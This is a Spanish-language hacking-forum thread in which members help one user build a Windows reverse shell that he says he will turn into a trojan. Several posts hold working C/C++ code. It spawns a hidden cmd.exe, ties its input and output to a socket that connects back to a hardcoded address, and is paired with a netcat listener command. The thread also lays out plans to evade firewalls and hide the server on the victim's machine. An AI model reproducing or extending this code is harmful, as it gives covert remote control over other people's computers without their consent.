Páginas: [1] 2
|
 |
|
Autor
|
Tema: WSAsocket() contra socket() (Leído 1365 veces)
|
Yibam
Desconectado
Mensajes: 51
|
Hola a todos,
Bueno, he empezado a programar una reverse shell en c/++, para poco a poco convertirlo al final del proyecto en un troyano.
El IDE que voya a utilizar es el Dev-Cpp ver 4.9. ...
Lo primero he refrescado un poco mis conocimientos de C, (cuando lo estudie no di ni socket(), je je je). A continuacion navege por este foro y fui empollandome una serie de temas para crear el cliente y el servidor. Con esto quiero decir que mi proyecto contempla:
Servidor. Programa que se colara de alguna manera en el objetivo. Sus funciones son: Primera fase: (a)Conectar con el cliente por un puerto claramente definido y (b)estar a la escucha de los comandos que reciba del cliente. Los comandos por ahora son "salir", bueno es evidente lo que hace y "shell" que lo que mota es una shell remota. Para crear esa shell estaba claro que debo de crear un proceso que lanze "cmd.exe" y redireccionar las pipes stdin, stdout y stderr, hacia el socket para que de esta forma se visualizara y controlara desde la maquina cliente.
Problemas fase 1: El flujo que debia de tener el programa es el siguiente:
|
|
|
|
|
En línea
|
|
|
|
Yibam
Desconectado
Mensajes: 51
|
Perdonad, estaba esribiendo el tema y le di al principio a enviar, luego segui escribiendo le volvi a dar a enviar y lo he perdido, mierdaaa, bueno voy a volver a escribirlo y lo envio ...
|
|
|
|
|
En línea
|
|
|
|
Yibam
Desconectado
Mensajes: 51
|
Hola a todos, Bueno, he empezado a programar una reverse shell en c/++, para poco a poco convertirlo al final del proyecto en un troyano. El IDE que voy a a utilizar es el Dev-Cpp ver 4.9. ... Lo primero he refrescado un poco mis conocimientos de C, (cuando lo estudie no di ni socket(), je je je). A continuacion navege por este foro y fui empollandome una serie de temas para crear el cliente y el servidor. Con esto quiero decir que mi proyecto contempla: Servidor. Programa que se colara de alguna manera en el objetivo. Primera fase:Funcionalidad y flujo.(a)Conectar con el cliente por un puerto claramente definido y (b)estar a la escucha de los comandos que reciba del cliente. Los comandos por ahora son "salir", bueno es evidente lo que hace y "shell" que lo que monta es una shell remota. Para crear esa shell estaba claro que debo de crear un proceso que lance "cmd.exe" y redireccionar las pipes stdin, stdout y stderr, hacia el socket para que de esta forma se visualizara y controlara desde la maquina cliente. El flujo del programa es el siguiente: 1. Crear socket. 2. Incuir direccion y puerto de envio en la estructura SOCKADDR_IN. 3. Conectar socket. En este punto hay que tener en cuenta que la funcion socket() espera como parametros la estructura SOCKADDR por lo que habra que hacer "casting" de SOCKADDR a SOCKADD_IN. 4. while (1). Esperar a recibir el comando en la variable "buffer" (len = recv(sock, buffer, 1023, 0)  . Si es "salir" pues lo dicho cerramos socket y fuera. Si por el contrario es shell, creamos un proceso "cmd.exe.", con createprocess() y redirecionamos los descriptores standar (stdin, stdout y stderr) con la estructura que nos proporciona STARTUPINFO al socket. Bueno y ahora os cuento un poco la problematica con la que me encontre ... Problematica. Descubrir la libreria winsock2, la estructura WSADATA, WSASocket(), etc. Yo provengo del mundo de linux (bueno en la universidad me dieron C sobre linux/unix) y cuando me dispuse a programar esto, me di cuenta que me faltaba la libreria y como incluirla en el IDE con el que trabajo. Bueno en el codigo del programa hay que incluir: #include <winsock2.h> #pragma comment(lib, "ws2_32.lib") Y en el IDE, Proyecto->Opciones de proyecto->Parametros->Incluir Biblioteca .. :En la carpeta lib, incluir: libws2_32.a. Manejar y estudiar dicha libreria. A diferencia de Linux los sockets son del tipo SOCK no del tipo int (linux), Hay que crear una variable WSADATA wsa; e inicializarla con la funcion WSAStartup(MAKEWORD(2,2), &wsa); de esta forma puedes trabajar con los sockets. Todo esto lo puedes aprender muy bien con el siguiente link, que si, si, es de microsoft, pero ... http://msdn.microsoft.com/en-us/library/ms740673(VS.85).aspxAdemas, en este foro hay muy buena información al respecto, asi que, busad por aqui ... Ejecucion de proceso y redireccion de descriptores. Bueno de nuevo, y debido a los estudios en linux es bastante basico ejecutar un proceso, ademas hay varias formas y yo casi siempre me decanto por execv y para redirecionar utilizo la funcion dup2(socket, [0..2]); siendo 0 -> stdin, 1-> stdout y 2 -> stderr. Pero bueno como nuestro server se ha de ejecutar en Windows, probaba y probaba y no funcionaba nada, asi que empece la operación uno de cualquier intento de resolver algo, googlear, y asi encontre algo que me devolvio a la vida : http://support.microsoft.com/kb/190351/esPor lo que, ya por fin, estaba en marcha mi reverse shell, pero nada de nada no funcionaba, asi que encontre en este mismo foro, la solucion pero no la explicacion, que es que a la hora de crear el socket no hay que utilizar la funcion socket() sino WSASocket(), de esta forma funciona, pero ahi va mi primera solicitud de colaboración y ayuda de este proyeto, PORQUE? alguien me lo puede decir o llevarme a alguna pista? Cliente. Programa que se ejecuta en tu equipo. Primera fase:Funcionalidad y flujo.El cliente debe de estar a la escucha de si servidor se intenta conectar, si es asi aceptar la conexion y enviar los comandos pertinentes. El flujo del programa es el siguiente: 1. Crear el socket. 2. Incluir direcionamiento y puerto a la estructura SOCKADDR_IN. 3. Asignar dicho direccionamiento y puerto al socket con bind(). Recordar lo del "casting" de SOCKADDR y SOCKADDR_IN. 4. Poner el socket a escuchar listen(). 5. Si acepto la conexion "do enviar comando while (len != -1 && strcmp(buffer, "salir") != 0)" INCISO: utilzo "int len" para la longitud de los bytes a enviar y "char buffer[1024]" para recoger el comando por consola con fgets(buffer, 1023, stdin);. Problematica. Bueno aqui vivi, un poco lo mismo que en el servidor, con la libreria winsock2 y lo realmente preocupante fue que note mi falta de programacion ya que no controlaba la funcion de enviar comandos y del strcmp(buffer, "salir"); por culpa de \n en el buffer, je je je, bueno mis huesos ya estan empezando a dejar de sonar, je je je. Bueno ya he dejado funcional mi reverse shell con envio de comandos. Como habeis visto he puesto primera fase, a continuacion os describo las siguientes fases que va a tener este proyecto y que espero que os animeis a colaborar y ayudarme. Fase 2. Preparar el cliente y servidor para que desde el cliente podamos gestionar varios servidores. Os recomiendo como lectura obligada, esta guia para entender y solucionar esta fase (Pincha en el link y se descarga en pdf: www.arrakis.es/~dmrq/beej/beej.pdf.gz Esto de nuevo, y como habeis leido es desde linux y se realizaria con fork() y con select() pero como estamos en entorno windous entiendo que para eso hay que utilizar createprocess(), ha empollarse el link de microsoft. Aqui creo que podriamos lanzar aportaciones o links que nos ayuden. Fase 3. Controlar la problematica del MTU, o sea el problema de que se reciban paquetes partidos. Controlado con la guia. Fase 4. Ocultarse a los firewalls. Aqui lo que vamos a implementar es que el servidor se conecte por el puerto 80 y la comunicacion la encapsulemos vía HTML o XML, de esta forma ni dios nos escuchara, je je , bueno de nuevo cualquier aportacion o link, pues adelante Fase 5. Ocultar el ejecutable servidor en la maquina objetivo. Para esta fase he de reconocer que tan solo he leido algun articulo en Hackin9 y alguna e-zine. Tecnicas del registro de windows, rootkits, no se, algo se nos ocurrira, je je je. Pero bueno si llegamos a terminar la fase 4 creo que habremos dado un gran salto en nuestros conocimientos. Bueno espero que os guste y os aventureis conmigo a realizar este proyecto, ahh, y perdonad por mis errores. Estamos en contacto en elhacker.net.
|
|
|
|
|
En línea
|
|
|
|
|
|
E0N
Lab &
Colaborador
Desconectado
Mensajes: 2.756
http://e0n-productions.blogspot.com/
|
Usa el boton de editar para guardar los cambios en vez de crear nuevos post  A ver tu problema cual es? q no consigues redirigir la shell?? weno, pues yo hace tiepo programé unas cuantas funciones para hacer precisamente una shell remota, aki te las dejo: // DECLARACIONES HANDLE stdinRd, stdinWr, stdoutRd, stdoutWr; // Los pipes PROCESS_INFORMATION pInfo; // Estructura para lanzar y cerrar la shell // Para saber cuantos bytes hay que leer DWORD bTotales = 0; void IniShell() { SECURITY_ATTRIBUTES saPipe; STARTUPINFO sInfo; std::string sRutaCmd; char cRutaCmd[1024]; ZeroMemory(&saPipe,sizeof(saPipe)); saPipe.nLength = sizeof(saPipe); saPipe.lpSecurityDescriptor = NULL; saPipe.bInheritHandle = TRUE; CreatePipe(&stdinRd, &stdinWr, &saPipe, 0); CreatePipe(&stdoutRd, &stdoutWr, &saPipe, 0); GetStartupInfo(&sInfo); sInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; sInfo.wShowWindow = SW_HIDE; sInfo.hStdOutput = stdoutWr; sInfo.hStdError = stdoutWr; sInfo.hStdInput = stdinRd; GetSystemDirectory(cRutaCmd, 1024); sRutaCmd = cRutaCmd; sRutaCmd += "\\cmd.exe"; CreateProcess(NULL, (char*)sRutaCmd.c_str(),NULL,NULL,TRUE,0,NULL,NULL,&sInfo,&pInfo); Sleep(100); } std::string LeerPipe() { char buf[1024]; DWORD bUsados; std::string retorno,temp; long int Leidos; PeekNamedPipe(stdoutRd, NULL, NULL, NULL, &bTotales, NULL); ZeroMemory(buf,sizeof(buf)); Leidos = 0; do // Leemos el pipe { ReadFile(stdoutRd, buf, sizeof(buf), &bUsados, NULL); temp = buf; retorno += temp.substr(0,bUsados); Leidos += bUsados; Sleep(10); }while(Leidos < bTotales || bUsados == 1024 ); return retorno; } void EscribirPipe(std::string Escribir) { DWORD bUsados; WriteFile(stdinWr,Escribir.c_str(),Escribir.length(),&bUsados,NULL); Sleep(100); } void DestruirShell() { TerminateProcess(pInfo.hProcess, 0); CloseHandle(stdinRd); CloseHandle(stdinWr); CloseHandle(stdoutRd); CloseHandle(stdoutWr); Sleep (100); } El funcionamiento es simple, miratelas  La parte de crear el socket y establecer la conexion es muy facil, no te dará problemas  Salu2 E0N
|
|
|
|
|
En línea
|
|
|
|
Yibam
Desconectado
Mensajes: 51
|
Muchas gracias EON, estudiare tu codigo.
Creo entender ya, porque se usa WSASocket() y no socket(), si no me equivoco WSASocket() lo crea no bloqueante, ES ASI?
y perdona molestarte mas pero algun link de threads en windows para estudiar???
|
|
|
|
|
En línea
|
|
|
|
Yibam
Desconectado
Mensajes: 51
|
Hola EON,
Tras estudiar tu codigo me surgen una serie de dudas, que si tienes tiempo y ganas, yo te agradeceria me contestaras, gracias de antemano.
Bueno te cuento, te voy a mostrar el codigo del servidor que recibe los comandos y lo que ejecuta. COMENTARIOS: buffer es un char[1024] y int len = sizeof(struct sockaddr); SOCKETt sock; STARTUPINFO si; PROCESS_INFORMATION pi;
while (len != 0){ //mientras estemos conectados len = recv(sock, buffer, 1023, 0); if (len > 0){ buffer[len] = 0; //le ponemos el final de cadena printf("Texto recibido: %s", buffer); //veo el texto recibido if ( strcmp( buffer, "shell\n") == 0) { // Redirecciono stdin, stdout y stderr a sock y lanzo cmd si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock; CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&si,&pi); ExitProcess(0); } } if ( strcmp( buffer, "salir\n") == 0) { closesocket(sock); WSACleanup(); exit(1); } }
Punto 1. Como primera prueba en el cliente lanzo "nc -vv -l -p port", y me sale la shell, pero no quiero depender de nc, por lo que, como recojo ese redireccionamiento y lo lanzo en una shell del cliente?
O por otra parte, hay otro camino para hacerlo?
Punto 2. Por lo que veo en tu codigo creas unas pipes llamadas:
HANDLE stdinRd, stdinWr, stdoutRd, stdoutWr;
Te creas una shell con creteprocess() con stdin,stdout redirecionados a esas pipes. y unas funciones de leer() y escribir().
Yo que deberia de lanzar en el cliente? Dos sockets uno para el stdin y otro para el stdout y utilizarlas como las pipes de aqui?.
Bueno, como te comente antes, gracias de antemano.
|
|
|
|
|
En línea
|
|
|
|
Yibam
Desconectado
Mensajes: 51
|
Ahh y perdonad, pero ...
Si la solucion va por conectar mas sockets y conectarlos a las pipes, ada socket aeptado se debera de hacer en un thread diferente?
Si es asi, vuelvo a pedir algun link con guia o manual de threads para windows.
Muchas gracias por vuestra ayuda.
Como siempre nos vemos en elhacker.
|
|
|
|
|
En línea
|
|
|
|
|
|
D4RIO
Desconectado
Mensajes: 432
"ser el mejor no es suficiente" - slackbyte
|
C++ es POO... y la gran ventaja de la POO es que el código es reutilizable, gracias a las clases. A lo que voy es a que tenes la biblioteca PracticalSocket que te sirve de igual manera para Linux (u otros Unix) y para Windows. La Biblioteca cuenta con manejo de excepciones, Sockets TCP por los que es fácil transmitir los datos del Shell ( y recibirlos desde un Linux, por ejemplo  ) y Sockets UDP para que transmitas ficheros  siempre aplicando un control como el que se aplica en FTP. Es decir que no te tenes que aprender más que los métodos y objetos que maneja lesa biblioteca. Es muy simple y flexible... y creo que debería empezar a formar parte del catálogo de Clases de los programadores en C++ (Todos nos hacemos un catálogo con código reutilizable no?).
|
|
|
|
|
En línea
|
Linux Registred User #452001 : : 0010 0100 - HS CODING : :
|
|
|
E0N
Lab &
Colaborador
Desconectado
Mensajes: 2.756
http://e0n-productions.blogspot.com/
|
Amen  Punto 1. Como primera prueba en el cliente lanzo "nc -vv -l -p port", y me sale la shell, pero no quiero depender de nc, por lo que, como recojo ese redireccionamiento y lo lanzo en una shell del cliente?
O por otra parte, hay otro camino para hacerlo?
Punto 2. Por lo que veo en tu codigo creas unas pipes llamadas:
HANDLE stdinRd, stdinWr, stdoutRd, stdoutWr;
Te creas una shell con creteprocess() con stdin,stdout redirecionados a esas pipes. y unas funciones de leer() y escribir().
Yo que deberia de lanzar en el cliente? Dos sockets uno para el stdin y otro para el stdout y utilizarlas como las pipes de aqui?. A q le llamas cliente, a lo q está en tu pc o en el otro? Tu lo q tienes que hacer es muy simple, desde el programa q está en tu pc (llamemoslo cliente) tienes que enviar una paralabra cualkiera, por ejemplo "Iniciar Shell", cuando el programa q está en el otro Pc (server) la reciba deberia crear la shell y enganchara con pipes para leer su salida, luego ir escribiendo y leyendo en ella usando el mismo metodo de comunicacion cliente-servidor de antes y por ultimo cuando ya no se kiera usar destruirla (y logicamente tienes q enviar al cliente lo q leas en la shell  ) Es muy sencillo y más teniendo las funciones hechas Lo que no entiendas de las apis, pues MSDN q viene todo explicado. Lo único q te puede resultar un poco raro es la forma de leer el pipe, que me dio muchos problemas y tuve que hacer un paño  Salu2 E0N
|
|
|
|
|
En línea
|
|
|
|
Eternal Idol N&P
Desconectado
Mensajes: 1.388
Assembly (x86/x64), C/C++, Kernel Mode (WDM/WDF)
|
C++ es POO... y la gran ventaja de la POO es que el código es reutilizable, gracias a las clases. A lo que voy es a que tenes la biblioteca PracticalSocket que te sirve de igual manera para Linux (u otros Unix) y para Windows. La Biblioteca cuenta con manejo de excepciones, Sockets TCP por los que es fácil transmitir los datos del Shell ( y recibirlos desde un Linux, por ejemplo  ) y Sockets UDP para que transmitas ficheros  siempre aplicando un control como el que se aplica en FTP. La API de Windows se reutiliza todo el tiempo ... mejor usa TCP para archivos. Es decir que no te tenes que aprender más que los métodos y objetos que maneja lesa biblioteca. Es muy simple y flexible... y creo que debería empezar a formar parte del catálogo de Clases de los programadores en C++ (Todos nos hacemos un catálogo con código reutilizable no?).
En lugar de aprender a usar sockets aprendes a usar un envoltorio ...
|
|
|
|
|
En línea
|
|
|
|
Yibam
Desconectado
Mensajes: 51
|
Hola EON,
A tu contestacion: A q le llamas cliente, a lo q está en tu pc o en el otro? Tu lo q tienes que hacer es muy simple, desde el programa q está en tu pc (llamemoslo cliente) tienes que enviar una paralabra cualkiera, por ejemplo "Iniciar Shell", cuando el programa q está en el otro Pc (server) la reciba deberia crear la shell y enganchara con pipes para leer su salida, luego ir escribiendo y leyendo en ella usando el mismo metodo de comunicacion cliente-servidor de antes y por ultimo cuando ya no se kiera usar destruirla (y logicamente tienes q enviar al cliente lo q leas en la shell )
Mis dudas: Tengamos claro: Cliente -> mi equipo | Server -> el otro.
Tengo claro que creo un socket lo conecto y lo utilizo para enviar "comandos". Cuando envio el comando "shell" para ejecutar mi reverse shell. En el server:
PROCESS_INFORMATION pinfo; STARTUPINFO sinfo; SOCKET sock_redir;
struct sockaddr_in adr2; memset(&sinfo,0,sizeof(sinfo)); sock_redir = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); adr2.sin_addr.s_addr = inet_addr("192.168.1.46"); adr2.sin_family = AF_INET; bind(sock_redir, (struct sockaddr*)&adr2, sizeof(adr2)); adr2.sin_port = htons(PUERTO_SHELL); memset(&(adr2.sin_zero), 0, 8); connect(sock_redir, (struct sockaddr *)&adr2, sizeof(adr2));
/*do { conex = connect(sock, (struct sockaddr *)&adr, sizeof(adr)); if (conex == -1){ printf("No se ha podido conectar\n"); // return -1; } } while (conex != -1); */
sinfo.cb = sizeof(sinfo); sinfo.dwFlags = STARTF_USESTDHANDLES; sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (void *)sock_redir; CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, 0, NULL, &sinfo, &pinfo); ExitProcess(0); }
O sea,creo un socket nuevo por otro puerto distinto al de envio de comandos. Esto lo ejecuto en un thread distinto. Por lo que he ejecutado el cmd.exe.
En el lado cliente es donde no se muy bien que hacer:
len = send(*sockthread, buffer, strlen(buffer), 0 ); if (strcmp(buffer, "shell\n") == 0) { // El servidor a creado un segundo socket en otro port //y ha lanzado un connect() para que lo reciba printf("Llego a la shell\n"); IniShell(); // Direccionamos el sock2 adr.sin_family = AF_INET; adr.sin_addr.s_addr = INADDR_ANY; adr.sin_port = htons(PUERTO_SHELL); memset(adr.sin_zero, 0, 8); //de obligado cumplimiento // Asociamos sock a direccion if (bind(sock2, (SOCKADDR *)&adr, sizeof(SOCKADDR)) == -1){ printf("Error en el bind 2.\n2" ); return 1; } if (listen(sock2, 1) == -1){ printf("Error en el listen 2.\n2"); return 1; }
// Creamos sock2 pero no sirve para nada len = sizeof(struct sockaddr); sock2 = accept(sock2, (struct sockaddr *)&adr, &len); }
Como puedes ver no se que hacer en la parte cliente, creo un segundo socket para aceptar el que me manda el server y tiene redireccionado las pipes, pero no se que hacer ...
Entiendo que IniShell(), crea otro cmd, por cierto despues del createprocess() no debes de realizar un ExitProcess(0)?
Ademas, como vinculo leerpipe y escribirpipe, con el socket aceptado. No se, no se, en primer lugar deberia de tener otro socket, uno para stdin y otro para stdout?
Y por ultimo, tu comentas de manera trivial lo de vincular estos sockets con las pipes del cliente, pero, no se ... Llevo todo el puente dandole a la cabeza, je je je.
No se te pido alguna ayuda.
|
|
|
|
|
En línea
|
|
|
|
E0N
Lab &
Colaborador
Desconectado
Mensajes: 2.756
http://e0n-productions.blogspot.com/
|
Entiendo que IniShell(), crea otro cmd, por cierto despues del createprocess() no debes de realizar un ExitProcess(0)?
Hay una funcion llamada DestruirShell() que se carga el proceso abierto, pero es con un TerminateProcess, el ExitProcess es para tu propio proceso q yo sepa  En cuanto a lo de enviar y recibir informacion. A ver, no es necesario que crees otro hilo ni otro socket ni nada de eso, veras, puedes mandar todo por un mismo socket, te lo pongo en pseudo codigo: CLIENTE: // Abren la pantalla de la shell enviar("Shell"); // Aprietan el boton de enviar un comando enviar("comando|cd.."); // cd.. seria el comando, en el server lo partes por el // '|' y lo extraes ;) // Cierran la ventana de la shell enviar("DestruirShell"); // Recibimos datos de la shell // Aki nos llegaria una cadena del tipo "InfoShell" + '|' + Datos recibidos de la shell // La partes por el | y muestras lo de la derecha
SERVER: // Nos llega "Shell" IniShell() // Nos llega "comando|cd.." // Partimos por el | y hariamos algo así: EscribirPipe(cd..) enviar(LeerPipe()); // Nos llega "DestruirShell" DestruirShell();
Un troyano es esto simplemente, no es muy complicado, leete esto, aunke es para VB y C++ por lo menos cojes la idea: http://foro.elhacker.net/troyanos_y_virus/contribuciones_usuarios_hackernet-t146962.0.html;msg966885#msg966885Salu2
|
|
|
|
|
En línea
|
|
|
|
Yibam
Desconectado
Mensajes: 51
|
Holas EON, perdona pero creo que no nos estamos entendiendo.
A continuacion te defino el flujo de lo que quiero hacer en pseudocode.
CLIENTE:
Su funcionalidad es: 1. Que sea capaz de procesar distintos servers. 2. Comando "shell" (lo que nos ocupa, je jeje)
1. Pongo sock a la escucha. 2. Cuando acepto la conexion lo realizo con threads, para dejar a sock escuchando nuevos servers. 3. Envio comandos. 3.1 Envio comando "shell". 3.2 Creo una sesion que ejecute cmd.exe en el cliente con las pipes redirecionadas. 3.2.1 Creo una sesion con un proceso con las pipes redirecionadas al sock. 3.2.2 leerpipesock() Funcion que lee del teclado y lo envia al server por el sock. 3.2.3 escribirpipesock() Funcion que lee del socket y lo lanza a stdout. 3.2.3 Ejecutar cmd.exe con las pipes redirecionadas. ....
El punto 3.1 es lo que estoy intentando hacer.
Me puedes ayudar o ES LO QUE ME ESTAS CONTESTANDO y soy tan torpe que no me entero???.
|
|
|
|
|
En línea
|
|
|
|
|
Páginas: [1] 2
|
|
|
|